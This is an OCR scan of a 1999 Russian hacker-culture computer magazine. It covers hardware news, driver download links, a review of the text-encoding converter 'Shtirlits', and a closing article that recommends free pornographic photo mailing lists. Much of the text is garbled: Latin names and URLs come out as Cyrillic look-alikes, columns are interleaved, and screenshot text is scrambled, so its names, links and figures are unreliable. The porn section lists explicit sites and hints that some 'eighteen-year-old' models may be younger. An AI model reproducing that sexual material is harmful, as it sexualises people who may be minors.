скромно опущу занавес и позволю тебе, прия- 
тель, помечтать о возможных перспективах, кото- 
рые откроются перед тобой, когда осенью сле- 
дующего года будет установлен новый протокол- 
стандарт на 100 Мбит/сек НотеРМА... 
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Что Тошива готовит нам в стопетье уходящем... 


В этом октябре Тошиба со- 
бирается завалить рынок 
МР3-плейеров своей отно- 
сительно недорогой продук- 
цией (за 170 долларов —моя 
мечта). Плейер описывают 
как совершенно стандар- 
тный, от других фактически 
не отличающийся. 

А еще ТозМБа заключила 
контракт с Голубым Гиган- 
том (не надо краснеть, это 
|ВМ себя так называет) на совместную разработку всяческих сетевых и комму- 
никационных решений, причем в той сфере, где дело касается именно «желе- 
за», то есть хардверного обеспечения. 

Ну и, наконец, в сентябре известнейший производитель пальчиковых батареек 
собирается выпустить в вольное плавание по магазинным прилавкам свое 
оригинальное чудо —СР-Ке\/таЫе с возможностью чтения ОУО-КОМ. А 

что —взял переписал себе на хард пару клевых, но жутко больших видюшни- 
ков, потом вставил болванку и записал себе на диск желаемое. Кул! Цену не 
указали, правда, но все равно —ХОЧУ! 


Эти заБавные японцы 


Классная страна —Япония. То там Селероны 500 уже продают (причем не 
везде именно Селероны —подделками рынок так и кишит), то пни2-600, то вот 
теперь Регтефа3 Сгеае! у них в продаже. Причем цена на столь профессио- 
нальную карту (насчет профессиональности еще поспорить можно, ЗВ аБ$ ут- 
верждают, что их карта для «Бизнес энд Веб профессионалов», а где же чес- 

тные Девелоперы и Арт-дизайнеры?) разнится от 250 до 290 долларов. Ска- 

зать, что это дешевое решение —нагло соврать. Есть карточки и подешевле... 


Держите фотографии при сЕБЕ 


(Скромная, почти неизвестная группа ученых из МОКЗАМ 
Тесбпоодез (\м\им.погзат.сот) предлагает всем и каждому запи- 
сать от тысячи до ста тысяч фоток на их супер-пупер новый носи- 
тель под названием НО-КОЗЕТТА. Этот носитель не портит содержимое при тем- 
пературе до 300 градусов им. тов. Цельсия и даже не подвергается действию хи- 
мических элементов, содержащихся в соленой морской воде. Собственно, про- 
цесс записи довольно прост: вы записываете куда угодно (хоть на пятидюймовые 
дискетки) фотографии желательно в формате ТЕ (хотя можно и в другом), в нуж- 
ном разрешении. Затем передаете их ребятам из НОРСАМ, а они уже позабо- 
тятся о том, чтобы записать эти фотографии на свои двухдюймовые Розетты (кста- 
ти, это именно диски —круглые такие, жаль, отсканенных фотографий сего девай- 
са ученые из МОВЗАМ не дают). Всего же можно записать до 100 000 картинок в 
разрешении 4096х4096 пикселей с качеством до 600 точек на дюйм. А запись 
фотографий производится с помощью ионного луча (в воздухе запахло С&С), ко- 
торый, впрочем, увидеть-то невозможно (по крайней мере, лично я не видел :). 
Самое интересное —это просмотр записанных фотографий. «В принципе, сде- 
лать это можно обычным световым микроскопом, но это будет та-а-акой ге- 
моррой», —утверждают хитрозадые ребята из Могзат. «Вы лучше купите у 
нас систему под названием ТВе |415 2000 и можете делать с фотками что угод- 
но —хоть сразу их в комп засунуть, хоть на месте прочитать. Наш микроскоп 
увеличивает видимое в тысячу раз, позволяет прочитать любую фотку простым 
кликом с помощью нашего софта без лишних проблем и все такое. Правда, 
вам придется заплатить за эту систему десять штук. Ну, не деревянных медве- 
дей, это понятно... Но ведь оно того стоит, правда?» 

В общем, если вам есть чего передать потомкам (а Розетта может цвести и 
пахнуть аж тысячу лет подряд], то можете готовить денежку. 
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Х—НагаМмЕшев 


|П{Е| прунумает решутЕЛЬНЫЕ 


дЕЧСТВУЯ 


Для начала маленькая 
прелюдия: первого 
августа прекра- 
щается конвейер- 
ное производство 
Сеегоп 366. Далее, было 
объявлено о том, что 2 августа нас- 
тупит снижение цен на семейство 
Селеронов, за исключением выпус- 
каемого по такому радостному слу- 
чаю Сеегоп-500 (пойдет в раздачу 
по 167 зел. през.). К тому же, ме! то- 
го же числа выпустит и долгожданный 
Репнит-!! 600 (а этот камешек обой- 
дется юзерам в 669 буказоидов]. 
Второе. Через три недели после 
столь славного события намечается 
еще одно: снижение (не менее дол- 
гожданное) цен на все модели Р-1И. 
Точнее, на все модели, к тому време- 
ни выпускаемые (напомню, связано 
это с тем, что Р-Ш 600 решили, нако- 
нец, выпустить в свободную прода- 
жу). К этому самому числу мои Хар- 
дНьюс уже уйдут в печать, и я берусь 
опубликовать обновленные цены 
лишь в следующем выпуске новостей. 
Третье. 4е| придется выпустить еще 
одну новую версию В!О5, так как у 
старой есть проблемы с одновре- = 
менным обращением к системной Е 
памяти проца Р-! и еще какого-ни- 

будь РС! Виз Мазег или дуального 
процессора. Будь внимателен, си- 
садмин! 


Новое —хорошо забытое староЕ — 


Когда-то, казалось бы, совсем недое 
но, фирма $ТВ занималась тем, чем и 
теперь —производила ускорители 
под названием Уеосйу. За тем лишь 
исключением, что тогда это были ус- 
корители на чипе пУа ТМТ, а сей- 
час... уже просекли фишку? Верно, 
на чипе Уоодоо3. Ну ведь не зря же 
ЗаЁх покупала этот самый ЭТВ на 
свои кровные денежки. 

Новые карточки будут зваться 
\Уеосйу 100 и Уеосйу 200 и несут по 
8 и 16 Мб соответственно. Малень- 
кая деталь: вместо обычного для ЗА 
стандарта на память ЗОКАМ абсо- 
лютно негодный к разгону ЗСКАМ. 
Рог ргоеззюпа!5 опу :). 

А еще вездесущая компания выпус- 
кает ожидаемый еще с зимы 
\Уоодоо3 3500 ТУ. Как-то запоздало 
они. Уж не связано ли это со слухами 
о выходе МУ10 в том же октябре? 
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У (омеги —конкурент 


Еще один конкурент объявился у бед- 
ной замордованной |отеда. Вроде 
бы и с О разборки прошли (см. 
прошлый номер), а теперь, пони- 
маешь, выходит какая-то там АгсНо$ 
(ммм. агспоз.сот) и предлагает выб- 
росить старый переносной зипарь и 
носить с собой жутко удобный во 
всех отношениях переносной УЗВ 
Йр100 Мт!пуе. Радуют минималь- 
ные размеры —10х15х1.8 см. А ско- 
рость! Не в пример Иомеговскому, 


а. ее С евьнА 1 Зы 
ТридцатидвухвБитная Барви на 


Горячих Копесах 


Маттел, чье сорокалетие мы 
туг на днях сорокаградус- 

ой (по сорок граммов :)) к 
отмечали, разродилась ь 
абсолютнейше новой раз- 
работкой на тему Барби и другого 
тайтла МаНе!| под названием Но} 
\УУВее[. На этот раз это не ожидае- 
мая всеми «Барби работает в стрип- 
клубе», а... компьютер. Ну правильно, 
если бы это был не компьютер, фигс 
два бы я тут писал об этом. Так вот, 
компьютер-то не простой, а самый 
что ни на есть общеобразователь- 
ный! Образования там —сколько 
угодно, одна только Барби представ- 
лена в 20 ипостасях. Ну а Но! М/Вее!$ 
не отстает —точно те же 20 вариаций 
на тему «горяченького» получат детки 
от любящих папомамонтов. Ну а если 
серьезнее, то там будет представлен 
широкий круг образовательных мате- 
риалов, плюс возможность скачивать 


АНоп на ЧБМовских компах 


АМЬО сделала реальный шаг 
вперед —ее процы теперь 
используют Сотраа и дру- 
гие довольно известные 
перцы компьютерного биз- 
неса. Это действительно 
большая бизнес-удача. А сей- 
час добрались и до магнатов 
компьютерного рынка. Компа- 
ки, конечно, круты, но куда им 
до |ВМ`овских конфиг: 


Ап 650 МГц 

128 Мб 5ОКАМ 

Винчестер 20.4 Гбайт 

8Х РУО-КОМ дисковод 

32 Мбайт Еба Егагог И! (ТМТ?2} 
Звуковая карта на базе Уопех2 


3ЗСот 56К РС! У. 90 модем 


И 


подключавшемуся к (РТ и сливающе- 
му мегабайты с большим скрипом. 
Нынешний претендент уверенно ка- 
чает информацию со скоростью 12 
Мбит/сек (все-таки —это ж «универ- 
сальная последовательная»), подклю- 
чается по ЗВ. Ну и размеры, естес- 
твенно, позволяют без проблем нести 
с собой большое количество инфор- 
мации к технологически отсталым 
друзьям, не таская за собой при этом 
сумку с громоздким драйвом. 


все добро из Интернета. 

А теперь к делу. Вся система 
стоит на Саегоп 333,15» мони- 
тор, внешние колонки, трехги- 
говый винт, 32 ЗСВАМ (понят- 
но, что не ЗОКАМ —на фиг 
«< разгонять шину в детских 
компьютерах? :), 32х СО-ВОМ, 
56К Рах/Модет и... \УИМРО\МУ$ 98. 
Бедные дети... к чему их с детства 
приучают... На ум цитата приходит: 
«Дети часто расплачиваются за грехи 
отцов»... 

Магнаты из Мане! (кстати, уиуиуу.та+- 
1е|.сот) радостно потирают потные 
жирные руки —детский компьютер бу- 
дет стоить порядка 600 долларов 
плюс ежемесячный взнос в виде 14 не 
таких уж и символических зеленых 
госбумажек. Вообще... был бы у меня 
ребенок, я бы ему купил этот комп... 
авось пару месяцев буржуинская 
штуковина продержится под ежеднев- 
ными пытками молоточком... зато бы 
стало дитя великим Хакером :}! 


Сеть по 
телефонной про- 
водке те! Апурот! Меуогк 
157 [СБ монитор ИВМ Т-55А 

52,399 + $1,249 за монитор 


Комментариев не будет. В лом. Прос- 
то хочется иметь такой комп. Но не 
от сверхдорогих брандов, а от под- 
вальных дилеров, собирающих из 
частей на заказ. Ибо так было всегда 
и будет вечно, аминь. 


Одуночки выходят на тропу 
ИЗОБРЕТЕНИЙ 


Есть такое отличное заведение: 
Принстонский университет. И рабо- а 
тает в нем один отличный инженер, 
изобретатель и просто хороший че- 
ловек Стефан Чоу. Такой вот одно- 
фамилец известного режиссера. По- 

ка Стефан не очень известен, но имя | 
его вы должны знать в связи со сле- 

дующим событием: он изобрел спо- 
соб увеличения плотности записи ин- 
формации на обычный компакт- 

диск —ноги на ширину плеч, с кресла 
встать, рот раскрыть —в ВОСЕМЬ- 
СОТ РАЗ. Нет, не надо мне тут гнать, 
что ты представляещь, что это, сколь- 
ко это и тэдэ. Ни фига ты не пред- 
ставляешь. Вообще, 18 гигабайт 
представить себе очень сложно. Для 
меня это в двенадцать раз больше 
того софта, который я держал в свое 3 
время для своей БиБиэСки. Для Холо- 
да —это 10 сборников 

«МесИ\магтог —все серии и адд-оных». 
Для кого-то еще это тоже вполне 
представимо, но не как нечто еди- 
ное, а в долях... 

Но что-то я отвлекся —продолжу по : 
делу. Этот Чоу предлагает, чтобы ] 
рисунок на поверхности компакта } 
создавал не ограниченный луч све- з 
та, а луч электронов. Естественно, 
что потом обычный СО-привод не 
сможет считать записанную таким 
образом информацию, для этого по- 
надобится нечто, способное улавли- 
вать изменения электростатического 
поля. Уф-ф, технологии будущего. И 
стоимость на первых порах будет 
зашкаливать за относительно ра- 
зумные пределы... 
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Бывают же некоторые... 


Некая Укта Сотропеп на днях ав- 
торитетно заявила о своих изыска- 
ниях на почве производства чипсета 
КАМ в 1 Гбайт. Мол, чисто мы пер- 
вые, кто выпускает Гигабайтное опе- 
ративное запоминающее устройство 
для чисто народа! Естественно, на 
шинах этих, как их, РС100/133., и 
чисто ЗОКАМ, ясен пень. Мы, типа, 
продаем в розницу и оптом чисто 
512 Мб, а гигабайтный чип —дого- 
ворная цена, брателлы. 
Примечательная деталь: 8 Мб чип 
стоит около 6 долларов, а 512 Мб, 
предоставляемый Викингами —1,850 
грина. А что до 1 С19 —так его еще 
1ВМ в начале лета всем и каждому 
предлагала... 


Драйверы 


Новая разновидность оффтопика под названием «Драйверы» офи- 
циально открывается с этого выпуска Наг@Ме\з. По многочисленным 
просьбам читателей я каждый месяц буду честно представлять вам, 


какие драйверы вышли, на что рассчитывать, когда продавец гово- Р! 


рит, мол, поставляем свежий софт для вашего железа или наоборот, = 
хитрит и пытается вас надуть. Короче, в этом месяце: 
вышел Ип#ед Бе 1.6. Мой бывший коллега по сайту —}а22Са! —в 
свое время писал, что Зах поцапалась с Сгеа\уУе из-за этих самых 
Унифайед, которые позволяли ТНТ-картам от самой Креатив пользо- 
ваться под таким небезызвестным АР! как Сйае. Тогда еще слухи цир- 
кулировали, мол, ссылки закрыли, хрена вом зеленого, а не Уп#ед. 
Уж не знаю, как там с судебной тяжбой, но вот Креативы выпустили 
новую бету. Проблема одна —надо быть вполне нормальным пользо- 
вателем с серийным номером Сгеайуе В!аз1ег ЗО ТМТ2 (или как он 
там сейчас называется?). Счастливые владельцы доступа к Всемир- 
ной Паутине могут поиметь драйверочки прямо отсюда: 
ы ВНр://огдег.зоуп4Ыа$!ег.сот/езспр!/до\мптюа4-ип#ед.азр. 
„вышел Ми для Уоодоо2 от Сгеайуе. Собственно, Мп! СЁ —это 
те же драйверы, только собранные в одну библиотеку, весят пример- 
но мег-другой и предназначены для конкретных программ/игр. Нап- 
ример, знаменитая заморочка с @ЗТез! и его орепд!32.9!. Всего-то 
надо было сходить в гости к ЕТР и скачать Ми! от З4Ъ. Так вот, 
_ версия новых драйверов —1.1.2.0025, а поддерживают они оба пос- 
ледних ОЗТез! (1.05, 1.06/1.07) и все игры на движке Оиаке 2 (в ре- 
жиме 3х ОрепСИ, разумеется) плюс старый добрый (вечный) 
СОуоаке. Если кто-то так и не скачал, топайте сюда: 
ВНр:/ /мимиму. зооп4Ыа“ег.сот/дгарс$/уоодоо2 /9!Чпмег.|т|. 
...вышли, пожалуй, первые драйверы для ТМТ2 под У/тдо\з 2000. 
Сами по себе они якобы универсальны для любой карточки на чипе 
ТМТ2. Брать тут: 
Нр://Нр.азиз.сот/\м/руБ/АЗУ$ /Баа/\уда/191п15.21р. 
..вышли драйверы для Уоодоо3, стоящей на Маке. Для полного счас- 
тья необходима МасО$ 8.х или выше. Драйверы зовутся бетой 1.061 
и рекомендуются разработчикам, а если у юзеров что не так будет — 
так это их проблемы. Найти приключения на свою плату можно здесь: 
Бир:/ /ммммм.ЗФфх.сот/ме\м.азр Ю!Р=306. 


Оффтопик 


Сегодня я расскажу тебе, приятель, о так называемых Твикерах —нас- 
тройщиках твоего З&Ёх, ясен пень, ускорителя. ТумеаКег происходит от 
слова... да хрен с ними, со словами, главное, что тебе нужно знать, 
это то, что если в твое поле зрения попала ссылка на какой-нибудь 
ТумеаКА\, качай немедля! Собственно, твикер —это прога, которая 
раскрывает некоторые особенно скрываемые аспекты твоего акселя. 
Ну, к примеру, как ты посмотришь на то, чтобы убрать трилинейность 
текстур там, где тебе этого не хочется, а сама игрушка, предположим, 
не позволяет? А что, между прочим, не все драйверы предполагают 
примитивнейшую настройку цветовой гаммы ускорителя! На моей па- 
мяти только с этой зимы Зх выпустила драйверы, которые в Панели 
Управления ставили возможность управления гаммой в таких АР!, как 
РиесЗО или Се. Но этого явно недостаточно. И таким, как я, самое 
милое —качать ТууеаКАЙ с 
Нр://Нр.сагот.сот/руБ/Заез/иИиу/ммеака!зе!ир.ехе. 

Кстати, к твикерам можно отнести и многочисленные настройки 
изображения через консоль в играх на движке Оцаке/ОиаКе2, а 
также настройки самих Кваков. Например, как тебе ОЗТ\уиеоК? Поз- 
воляет настроить консолизированный по самую макушку КвейкЗ. 
Взять можно отсюда: 

Внр://мимм. Чайопик.со.иК/аЗмеаК/ОЗТ\меаК1047.ехе. 

Кстати, полную версию обещали уже в августе, поэтому сперва поп- 
робуй ссылку МИр:// ммм. Дапопук.солк/аЗ\меак/ОЗТ\меаК1 100.ехе. 


Х—НагаМеЕш$ 


ВИНЧЕСТЕР этой осенью 


Всякие Фуджитсу и Квантумы клятвенно заверяют 
нас в том, что этой осенью нас ждут дешевые до- 
нельзя жесткие диски; мол, сие переворот будет! 
Ха, пока вы там рыпались, фирмочки дорогие, на 
большой дороге уже вовсю орудовала Зеада!е 
со своими ну совсем дешевыми винтами (цена не 
указывается из-за возможных эпилептических при- 
падков у читателей), а уж осенью она, Зеадае, 
подготовилась конкретно и собирается выступать 
с третьей линейкой «хард-дисков для всех». В дан- 
ном случае это будут винчестеры на 4.3, 8.4, 13.0 
и 17.2 гигабайта с увеличенной чуть ли ни вдвое 
производительностью, естественно, низкой ценой 
и системой С-Еогсе, позволяющей работать вин- 
честерам под определенным давлением. Новая 
линейка будет зваться У8, цена —увы —неизвес- 
тна, но есть на что надеяться :). 


Да! Да! Да-да-да! Да-да-да-да-да-да! 


Октябрь 1999 года. Выход Уоо4доо4. Этим почти 
все сказано. Почти —но не все. Т-ВиНег. 
Утверждают, что это наиполнейший рулез, абсо- 
лютно независящий от АР! (Се, ОпесЗО и 
ОрепС\, но являющийся собственностью З&х. 
Ну, типа как $ЗТС —принадлежит $3. Основные 
характеристики нового чуда: 

Апн-Айазта (аппаратное сглаживание повер- 
хностей), Рер!Н оЁйе!4 (смазывание областей, ви- 
димых «боковым зрением» или вне фокусировки, 
в случае последней), Моноп Ы\шг (эффект размы- 
вания движущихся объектов). 

Ну и всякой всячины по мелочи. Главное то, что 
технология Т-буфер будет включена в Уоодоо4 (ин- 
тересно, он все еще будет называться «Напалм»?). 


Эпизод первый: 55 возвращается и нано- 


СИТ ОТВЕТНЫЙ Удар 


М-дя, под влиянием просмотренной в последний 
день проката «Призрачной Угрозы» в Пушкин- 
ском какого только заголовка ни напишешь... На 
самом деле, никуда $3 не уходила, а просто 
представляет очередной продукт —5ауаде4 
Хнете. Ну там 166 МГц —частота памяти и ядра, 
З2МЬ, $3ЗТС, поддержка БУФО и название $ауаде4 
Хнете 166 —все это укладывается в приемлемые 
99-129 баксов за одну такую карточку. Также для 
ОЕМщиков и интеграторов разновсяческих будет 
выпущена 5ауаде4 Хнете 143. Ее отличие в том, 
что частота ядра будет равна 143 МН. 

Не осталась в стороне и $3-любимая игрушка — 
Патопа МиНтефа. Ребята все еще подают го- 
лос, держатся на старой торговой марке и выпус- 
кают З1еаНН Ш $540 Хнтете. Это будет 32 МВ, 
ЗЗТС, полная поддержка АСР (надеюсь, на РМ 
выпустят карточку —не у всех же сейчас эдвэнсд 
графикс порт} и еще пара Диамондовских фишек 
типа |пСоп!то!| Тоо\з 99. 


РС ГопЕ 


Штирлиц. Внук полковника Цсаева 


Сарфат КопБасьев 
(сар{ат@хаКер.ги) 


Штирлиц заглянул в дупло. На него 
выразительно смотрели чьи-то глаза. 
«Дятел», — подумал Штирлиц. 

«Сам дятел», — подумал Мюллер: 


с о дятлах. Давай прикинем, 
приятель, как говорится, хрен к 


носу, и подумаем вместе, часто ли те- | 


бе приходится открывать различные 
текстовые файлы? Простые такие 
файлики типа риадмишек, факюшек и 
инфошек или, наконец, скаченных из 
Сети рефератов, которые, ко всему 
прочему, написаны не в родном фор- 
мате форточек, а на каком-нибудь ар- 
хаизме типа «Лексикона» дос версии 
1.3 или любимом текстовом редакторе 

`ех учителей информатики — «Слово 

дело». Ага, часто! Вот ия о том же. А 
теперь вспомни, сколько исконно рус- 
ских матюгов можно услышать из твоей 
комнаты, когда очередной файл типа 
ех не желает открываться стандар- 
тным поераа’ом (он же «блокнот», см. 
Х №3 за этот год). Или подборка ге- 
ниальнейших анекдотов про армянское 
радио приходит в текстовом файле, де- 
шифрованном под гребенку КО1-8... 
Вспомнил? И тебя это устраивает? Вот. 
И если до этого тебе часто хотелось 
бежать со шнурком вешаться в ватер- 
клозете, то теперь от этого грустного 
финала нас убережет отличнейшая 
прога. ЗВНИЙх 3.0. 


['УШтирлиц: БАЗТОЗ-1НТМ 


ю что это? Что зто зе сельчан бросмя 


казалась шапка, ® затем и всё лишо. 5 
сы, чего ты потерял в такую пору 
» оглящелся, и сделал пару неуверенных шагов. В дели завыли волки, но, 


солрогнувшись, Кнельян продомжьл юдтн, узлзая по олеми а сугробах, 


вдруг кто-то схватил его зе нос. Это был Мороз, Емельян вскрыкиул и остековился. 


Естественно, придумать такой маразм 
самостоятельно тебе не по силам, но 
нужный текст есть на уму. аИс.тет. 
еди.ги/ге!ега! но, вот беда, в формате 
\\/О$. Что за вэдээс такой? Шут его 
знает, а блокнот пишет какую-то пол- 
ную абру (кадабру). Но вот Штирлиц, 
едва загрузив этого подлеца, выдаст его 
в читабельном виде. То же произойдет и 
с любым «Лексиконом», 

экзотическим «Моопед’ом» и ЗЕатавЕ 
даже чежедН’ом» из родной 
поставки РОЗ у 4.0. Проник- 
ся идеей® Едем дальше. 

Я уже говорил, что Штирлиц 
заправски читает любую 
почтовую кодировку роди- 


нук полковника Исвева 


це настраивается все что можно, 
начиная от того, где отображать 
всплывающие подсказки, и кончая 
методом распознавания текста 
«вручную». То есть меняешь в одном 
месте букву «ъ» на букву «ё» и полу- 
чаешь «сёел» и «подёезд» во всем 
тексте! Не сказать хуже... 

Теперь ты понял, почему эта архи- 
полезная в хозяйстве прога носит 
имя Штирлица? Что угодно и как 
угодно расшифрует — хочешь по 
«блокам», хочешь — по «фрагмен- 
там», а хочешь — и по «неполным 
схемам». Все сможет! 


БЕДНЫЙ, БЕДНЫЙ пастор Шпаг 
Да! Совсем забыл сказать! По удоб- 
ству работы с несколькими файлами 
Штирлиц побьет даже такого бессмер- 
тного Кощея, как Мелкософт Ворд. Все 
одновременно открытые файлы отоб- 
ражаются прямо под тулбаром в виде 


огирлин загллкул в дупло. Иа маго 
бмразительно смотрели чьи-то плаза, 


давая прихинем, приятель, мак говорится, хрем к носу, и подумаем вмесчч, 


о лм тебе приходится открывать различные телстовые файжы, Му д ие о чех бодигах, 


мого рунета, так, мало того, 
он в ней еще так же успеш- 
но пишет, а уж что такое 
мучение с кодировками, ес- 
ли у тебя нет нормального 
мэйлера или почтовый ящик 
с веб-мылом на каком-ни- 


ормацих ® реззодленкю 


|моторкым тебл как спамом зеваливаат немаглядный друг, поэт м дапалент Гизм Хапермиве, 


ужа "Денсикона” дос версии 1.3 или любюиом тенстовом решакторе всех учителей {и училок) 

миформатыии - "Слово м дело". Ам, часто! Вот м д © том ме. А тенерь вепожии, скольно мепонио 
-руссимх мальгов можно услышать из твожй комнаты, когав очередной файл тина „1ех ме жельет 
миериватьси освиаутиия восерьй' ом (ок ми “баониот” (си, "Захар" №0 ва уче мои), 


Е Я О ОТ О ОЕ МНН О ава оО | 
прустного фимали миг убережет отаичнейшия прога, ЗЫУЛЕЛЛЕВ 3.0. | 


. Штирлиц, это простой "Вловмот”-замениталь, мотормй в дистрибутиве занимает 
райт, грузится мухой, имеет прилтное вспетсиое междумораие Гжнтерфейс, позмашену) 
`проето-тавя мульон стратагичасии необходмыих прибибасом на все случем жизкн, 


ДосьЕ 


[в зее. Штирлиц, это простой «Блок- 


будь Уавоо.сот, думаю, 
знает каждый. В Штирли- 


д Начала простой пример. Тебе требуется рефарет пб теме "неучио технычесиий прогресс времен У 
к внутриполжтическая обстамовка па островах Оплемим пармола Северной воймы в России 37 [иточжчего ] 
помиит-хаяого-то-года] , Естественно, придумать талой Марвзм самостолтельно тебе ин по силям, но нужный | 


нот»-заменитель, который в дистрибу- 
тиве занимает 500 килобайт, грузится 
^^ухой, имеет приятное междумордие 
‚терфейс, по-нашему) и просто-таки 
мульон стратегически необходимых 
прибамбасов на все случаи жизни. 
Для начала простой пример. Тебе тре- 
буется реферат по теме «Научно-техни- 
ческий прогресс времен и внутриполи- 
тическая обстановка на островах Океа- 
нии периода Северной войны в России 
17 [кто-ж-его-упомнит-какого-то-года]». 


Штирлиц: бехьые 


“Слово и цело". Ага, часто! Вот и йо том же. А теперь вспомни, сколько 
-русских матюгов можно услышать кз твоей комнаты, когда очередной файл типа „1х не ме, 
отирываться стандартным посерай'ом (ом же "блокнот" (см. "Хакер" РЗ за этот год)), или 


це — все просто. Сверху 
экранчика расположены 
большие кнопочки (чтоб мышкой с пох- 
мелья не промахнулся): УМ, РО$, 
КОТ, 150, МАС, 1АТ. Кстати, о (АТ. Да- 
же не поддающийся реанимации тран- 
слит (для тех, кто не знает, ею таКа{а 
Чугпаа тода р/за! ро-гиззК![анпзКит! 
БиКуатй можно перевести на язык аз- 
буки Кирилла и Мефодия. Существует 
даже специальная настройка схемы ла- 
тинских транскрипций. То есть можно 
настроить перекодировщик так, 
чтобы он принимал за букву «Я» 
не «а» а, скажем, «а». Вах! 


Штурпиц БЕЖап скач- 


каму 

| Да что там транслит! Штандар- 
| тенфюрер без искажений может 
перевести даже НТМИ, для кото- 
рого тоже существует (что>.. 
правильно!) очередная схема 
настройки. Вообще, в Штирли- 


маленьких закладочек с названиями! 
Ну и самый последний и большой плюс 
(даже не просто плюс, а этакий здоро- 
венный красный крест) хочу поставить 
Штирлицу за простую, но полезную 
функцию открытия файла, вставленную 
в «меню по правой кнопкех%... 


А гдЕ купить? 

Не купить, а скачать, родной ты мой! 
За такую многофункциональную ути- 
литку добрый Всеволод Лукьянин (ав- 
тор, заслуживающий конный памятник 
при жизни) ничего не просит! Даже ре- 
гистрации. За это флаг ему в руки, ну а 
тебе браузер в лапы. Ползи на 
умии.Чомитоасб.ги, ууу. зВагеугаге.ги и 
иже с ними и качай, качай, качай, ка... 


Хх 


7! взглядах — у него одна девушка на 


т пойме небольшой тек- 


>. Мошние — отстой наиполнейший, да и 


Незаконнорожденный брат-близиец \ 
Холода (Врет! У меня только незакон- \ 
норожденные сестры! — прим: Хблода)}, 
по-совместительствузмпадший племян- . 


ник ставшего‘ дяди Талера Доброго. 
пота. сот) 


указанной части тела. Чтобы подпи- 


саться на эту систему, иди на 


Внр://\мумим.руззутай. сот. 

Азап ЕчНееп — азиатки, по большей 

части японки. Возраст, правда, не сов- 
сем и не всегда соответствует указан- 


\ ным «восемнадцати». Ну какуможет ску- 


«бмнится, брательник мой — Холод 

с сбкаЗал, что. девушка хакера — 
Вовсе. не: порНосервер. В принципе, я с 
ним согласен, хотя он, со своей сторо- 
ны, весьма консервативен в своих 


протяжении ажтрех лет = во гигант- 
‚ то! Ну ачем, укого руки’до девушек 
не доходят, тоЧНев, тем, у кого 
руки доходят/до одного №9: _ 
ленького (без шуток уно 
банального места; посвя- 
щается. эта/статья. 
В. шестом номере Ча- 
‘уишего журнала ты 


Стик- Б.Ро теор; а (у нас 
все авторы‘через одного — 
врачи» и даже главред. — дан- 

`топВактоло!) на тему халявного 
получения какого-то там ключа`на ко- 
кие-то там порносайты. Фу, какая га- 
дость эти твои порносайты, доктор/ 
`Ключ тот действует очень ограничен- 


‘ное время — до двух недель, сайты 1857 , 
ре вв 7 


вообще, ты так скорее от скуки заг- 
нешься. Куда быстрее система Вайу „- 
Май. Работает она стабильно, простд”* 
и вполне понятно. Три раза в неделю”) 
тебе на мыло приходит мессага, в тедё < 
которой имеется: пара-тройка ‚рекйем- 0 
ных линков, линк, по которому мо 
отказаться от подписки, и, наконе 
линк на спрятанную от взглядов с 
любопытных греждан страницу На 
этой засекречённой донельзя поте /\ ое. 
можно, в свою очередь, найти; пят; ДБ: 
СОЛЮТНО БЕСПЛАТНЫХ фоток день, } 


шек (или юношей — об этом-чуТь иже), 


(7) 


плюсодна история [ео ему «кокФарри" С/уворные тетки лежат 


встретил Салли». й, Ито они`там вдвоём 


``—-вытворяли плюс один-анекдот «про 


Этозгверевод которых я неоднокрайно- 
наблюдал” `тарой деньков спустя На” 
“анекдой ру \ВЗего Таких страниц со 

\ своей тематикой около дюжины, рабо- 
„лают эй абильно и приятно радуют 
глаз ки кое=АТо еще, и кое-что иное, о^ 
дем не-Говорят) чемуне учат в школе»). 
Начнем Р985у Май. 

Ризьу = — в переводе с извращенного 
омёриКаНЦоми английского языка — 
это словообозначает... э-э-э... женские 
пойбвые < органы\повышенной влажнос- 
ти На хехре?ной странице тебя ждут 

\ девушки (илизуже не-девушки?) с осо- 

> бым фричонио фотографии на вы- 


другим жомикадзе искать ‘здесв 


что, ведь у нас есть не 
тольке-читатели, но илчита- 


\ластая девушка, далеко: ее све- 


эжебти; аяркб 
^^, выра- 


женны- 
ми первичными 
половыми признаками 
быть не менее чем восем- 
””  надцати лет от роду? Или нао- 
оборот, маленькая на вид девочка 
—_ опьнкая, стриптизерша? В любом 
случае, поклонникам хокку, хентаи и 


ВНр:/ ими азапе!дНееп.сот: 


-{ 


[езБо Май — полагаю, ты в курее, 6) 
делали две девчонки на острове Лес- 


_ бос. Если нет, или если тебе интерес- 
/вю, что могут делать две сексуально 


‚ озабоченные девушки в одной постели 
/Чвепоминаю, пять фоток три раза в не- 
{ делк }, рекомендуется сбегать на: 

^ ВНР ЛезЬ рай, сот 


(Зеазу Май — девче вм, Аного девчо- 
_ НО взодежде, но без ниж 
'Извращенки-мазохистки/да еще и на 
: халяву Аь-ну не радость , и? Кому в ра- 


его белья. 


Эдбсть — сюда: 7 
э/э ИНр://\миуим.еахута! 
"ЭСК Май — если ты т 


1 
фо извра щенец/ 


О, 
`"Йчуо тащишься от толётых противных т&- 


ток, от уродливых старух 
считаешь себя конченным 
озабоченным придурком, то эта х 
ва — для тебя оп/. Т от- 
4 9 
Вир: //\м/\им.5 


р 
э... честно 


Воуз Май — 
говоря, это не НЕ *90 
типа, от таких не 104 А 


больше) /натуралов, то есть 
натуройок любдю... нуа кто 
от мальчиков вёзбуждается (а 


Тельницы), тем, конечно, сю- 
дь: $$ 

Вр:/ ми. уз, сот. 
Сау Кеме\ — из той же опе- 
рыАЯ ни на предыдущую?ни 
на у рассылки не подйисы- 
валс®, но если так... для об- 
щего‘образования или, там, 


‘от. < 00 1 


подружке показать, какие за бугром 
перцы есть, то давай, регистрируйся 
на: ВНр://\/\и\. даугемеуу.сот. 
Воо!у Май — есть от чего тащиться. 
Прикинь, лежит полностью раздетая 
негритянка, то есть, тьфу, АФРОАМЕ- 
РИКАНКА С ВПОЛНЕ НОРМАЛЬНЫМ 
ЦВЕТОМ КОЖИ, раздвинув ножки, и 
мечтает, чтоб какой-нибудь баклан ... 
Возбуждает, как торт «Виагра». Естес- 
твенно, ИНр://\м\и\.Босфутай.сот. 
Мазу ЕдМееп — обыкновенные, на 
этот раз белые девчонки, места- 
ми сильно испорченные, не лю- 
бящие одеваться и иногда появ- 
ляющиеся а-ля [езБо — вдвоем. 
Фотки бывают классные, меня лично 
порадовали. Коли тащишься от тинов | 
— беги на 7. 
ВНр://\имим. пазкуедМеел: сот. 5 р 
Зеху Мте!ееп.—как ни странно, теж 
тины,„жолбко личиком повриятнеё-й у. 
одежду не так сильно вюбящие: 'Впро- 
чем, это лишёДобавляе+ им эсексусити- . 
ности. Рекомендуется — 
ВНр:/ /\\у\.зехупте!ееп.сот. ° 
